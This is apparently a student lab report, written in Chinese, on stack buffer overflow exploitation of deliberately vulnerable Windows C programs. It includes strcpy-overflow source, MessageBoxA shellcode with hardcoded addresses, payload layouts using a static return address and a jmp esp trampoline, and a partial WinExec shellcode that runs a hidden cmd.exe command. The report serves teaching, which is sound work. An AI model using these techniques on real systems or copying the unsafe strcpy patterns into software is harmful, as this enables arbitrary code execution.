Shellcode 利用

目标

理解 shellcode 注入原理,通过淹没静态地址和跳板两种方法实现 shellcode 代码植入,尝试修改汇编语句的 shellcode 实现修改标题等简单操作。

测试步骤与结果

源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
# include <stdio.h>
# include <windows.h>
# include <string>
# define PASSWORD "1234567"

int verify_password (char *password)
{
int authenticated;
char buffer[44];
authenticated=strcmp(password,PASSWORD);
strcpy(buffer,password); //overflowed here!
return authenticated;
}
main()
{
int valid_flag=0;
char password[1024];
FILE * fp;
LoadLibrary("user32.dll"); //prepare for messagebox
if(!(fp=fopen("password.txt","rw+")))
{
exit(0);
}
fscanf(fp,"%s",password);
valid_flag = verify_password(password);
if(valid_flag)
{
printf("incorrect password!\n");
}
else {
printf("Congratulation! You have passed the verification!\n");
}
fclose(fp);
}

整体来说,是从password.txt文件中读取内容,并进行验证。

strcpy处依然存在溢出漏洞。不过buffer的长度更长了,可以承载一些 shellcode。User32.dll的载入可以让我们在注入 shellcode 时调用MessageBox函数。

shellcode 代码理解

  1. 由于涉及到了dll库的加载,我们打开源程序,用 dependency walker 分析 dll 依赖。

  2. 查出kernel32.dll的实际基址地址为0x77e60000ExitProcess的地址的入口点为0x01b0bb,加起来就是ExitProcess的实际地址0x77e7b0bb。这是 shellcode 代码中exitprocess地址的来源。

  3. 同样方法找出user32.dll的基址为0x77df0000MessageBoxA的入口点为0x033d68,相加得到MessageBoxA的实际地址为0x77e23d68。这是 shellcode 代码中messageBoxA的地址来源。

  4. 接下来调试 shellcode 代码。shellcode 源码如下

    shellcode.c
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    #include<windows.h>
    int main()
    {
    HINSTANCE LibHandle;
    char dllbuf[11] = "user32.dll";
    LibHandle = LoadLibrary(dllbuf);
    _asm{
    sub sp,0x440
    xor ebx,ebx
    push ebx
    push 0x74707562 //bupt
    push 0x74707562 //bupt

    mov eax,esp
    push ebx
    push eax
    push eax
    push ebx

    mov eax,0x77E23D68 //messageboxA 入口地址
    call eax
    push ebx
    mov eax,0x77E7B0BB //exitprocess 入口地址
    call eax
    }
    return 0;
    }
  5. 运行该代码,发现程序弹出了一个含有"buptbupt"标题的对话框

  6. 用 ollydbg 打开 shellcode 程序,把我们写的汇编代码复制出来

淹没静态地址的 shellcode 注入

  1. 用 ollydbg 打开overflow_exe.exe程序,在strcpy处下一个断点。
  2. strcpy将拷贝字符串到0x12faf0地址处,这也是我们将要放 shellcode 的地址。
  3. 下面构造 payload,我们构造的形式类似于 Shellcode + 0x90若干 + shellcode 在缓冲区的起始地址,要注意逆序书写。Shellcode 的返回地址应当在 buff 的容量 + authenticated 变量空间 + ebp 之后,也就是第 53~56 字节处。综上,我们构造 payload 如下
  4. 再运行程序,发现0x12faf0开始的空间已经覆盖为了我们所需要的样子。
  5. 返回到 shellcode 地址后,其中所写的内容都作为代码执行了。
  6. 当然也可以弹出对话框了,脱离 ollydbg 环境也可以成功。

利用跳板的 shellcode 注入

  1. 仍在strcpy函数上设置断点,运行至其附近。
  2. 右键选择 overflow return address → ASCII overflow returns → search JMP / CALL ESP
  3. 根据提示查看日志,发现有很多可以利用的地方。选择一条在user32.txt中的地址,0x77e2e32a。这个是jmp esp的地址。
  4. 这次的 payload 形式为 52 字节填充物 + 4 字节JMP ESP地址(逆序) + shellcode (可选 + 若干0x90)。

    下图 payload 也可以成功弹框出来。但是程序没退出,后来发现 shellcode 中忘记调用 ExitProcess 函数,补上就更加完美了

修改汇编语句,改变弹窗标题

通过阅读汇编代码得知,这个"buptbupt"字符串实际上来自两个 push 操作,每次是 4 个字母。那么改变 push 的参数,我们也应该能对标题框的显示进行改变。

如果尝试输出中文,需要注意一个汉字由两个字节表示,push 输出时应该全部(字内和字间)逆序书写

测试结论

思考题

本段文字并未完全完成实验,这里只是列出了部分思路。

程序源代码如下

stackOverrun.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
/*
StackOverrun.c
This program shows an example of how a stack-based
buffer overrun can be used to execute arbitrary code. Its
objective is to find an input string that executes the function bar().
*/
#include <stdio.h>
#include <windows.h>
#include <string.h>

void foo(const char* input)
{
char buf[10];

LoadLibrary("user32.dll");//prepare for messagebox

//What? No extra arguments supplied to printf?
//It's a cheap trick to view the stack 8-)
//We'll see this trick again when we look at format strings.
printf("My stack looks like:\n%p\n%p\n%p\n%p\n%p\n% p\n%p\n%p\n%p\n%p\n\n");

//Pass the user input straight to secure code public enemy #1.
strcpy(buf, input);
printf("%s\n", buf);

printf("Now the stack looks like:\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n\n");
}

void bar(void)
{
printf("Augh! I've been hacked!\n");
}

int main(int argc, char* argv[])
{
//Blatant cheating to make life easier on myself
printf("Address of foo = %p\n", foo);
printf("Address of bar = %p\n", bar);

foo(argv[1]);
return 0;
}

这次的程序比上次多了LoadLibrary调用和Windows.h头文件,但大体逻辑没有变化。目标是通过 dir 命令将 C 盘根目录结构保存在shellcode.txt中。

  1. shellcode 需要利用系统调用CreateProcessAWinExec,这里选择WinExec("cmd.exe /c dir C:\\ > shellcode.txt", SW_HIDE)

    • 其中SW_HIDE=0意味着隐藏窗口,更具隐蔽性
  2. 首先找到WinExec的地址,还是打开 dependency walker 查看。

    • 通过计算可得WinExec的地址为kernel32.dll的基址加上WinExec的入口点地址,为0x77e78601
    • 用同样的方法计算出ExitProcess的地址为0x77e7b0bb
  3. 通过试运行程序得知,我们的命令行输入被存储在了0x12ff68开头的位置上。bar的地址为0x401070jmp esp后将从0x12ff78开始执行我们的 shellcode。

  4. 扫描到了很多jmp esp的地址,本次选择0x77e2e32auser32.text的地址作为跳板

  5. 首先,完成前半部分的填充和bar函数调用。

  6. 把我们的所有操作写成一个 c 文件,编译,把生成的 exe 拿到 ollydbg 运行一遍,拿到我们的 shellcode。这是需要的操作部分:

    1
    2
    3
    const char command[40] = "cmd.exe /c dir C:\\>shellcode.txt";
    WinExec(command, SW_HIDE);
    ExitProcess(0);

表面上看非常不错,但这样的字符串是在 rdata 段里的,复制出来的操作码取的就是内存中的相对值,所以只能靠 push 推入。

command数组写成一个一个字符分开的模式,末尾的\x00要手动加上。目前的问题停留在了栈上字符串的构造上。